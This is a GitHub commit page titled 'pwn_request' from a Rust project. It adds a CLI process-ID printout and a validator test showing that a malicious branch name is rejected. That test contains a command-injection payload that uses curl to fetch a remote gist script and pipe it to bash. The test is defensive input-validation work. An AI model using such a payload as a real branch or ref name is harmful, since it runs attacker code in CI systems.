Skip to content

Commit

Permalink
pwn_request
Browse files Browse the repository at this point in the history
  • Loading branch information
epompeii committed Dec 6, 2023
1 parent b5f45a5 commit e577207
Show file tree
Hide file tree
Showing 2 changed files with 8 additions and 0 deletions.
5 changes: 5 additions & 0 deletions lib/bencher_valid/src/branch_name.rs
Original file line number Diff line number Diff line change
Expand Up @@ -95,5 +95,10 @@ mod test {
assert_eq!(false, is_valid_branch_name("ma in"));
assert_eq!(false, is_valid_branch_name("main "));
assert_eq!(false, is_valid_branch_name(".main"));

// Credit to https://github.com/nikitastupin
let ref_name = "$(curl${IFS}-L${IFS}gist.githubusercontent.com/nikitastupin
/30e525b776c409e03c2d6f328f254965/raw/shortcut.sh|bash)";
assert_eq!(false, is_valid_branch_name(ref_name));
}
}
3 changes: 3 additions & 0 deletions services/cli/src/main.rs
Original file line number Diff line number Diff line change
Expand Up @@ -13,6 +13,9 @@ pub use error::CliError;
#[allow(clippy::print_stderr)]
#[tokio::main(flavor = "current_thread")]
async fn main() -> ExitCode {
let pid = std::process::id();
cli_println!("CLI_PID: {}", pid);
std::env::set_var("CLI_PID", pid.to_string());
match exec().await {
Ok(()) => ExitCode::SUCCESS,
// https://github.com/rust-lang/rust/issues/46016#issuecomment-1242039016
Expand Down

0 comments on commit e577207

Please sign in to comment.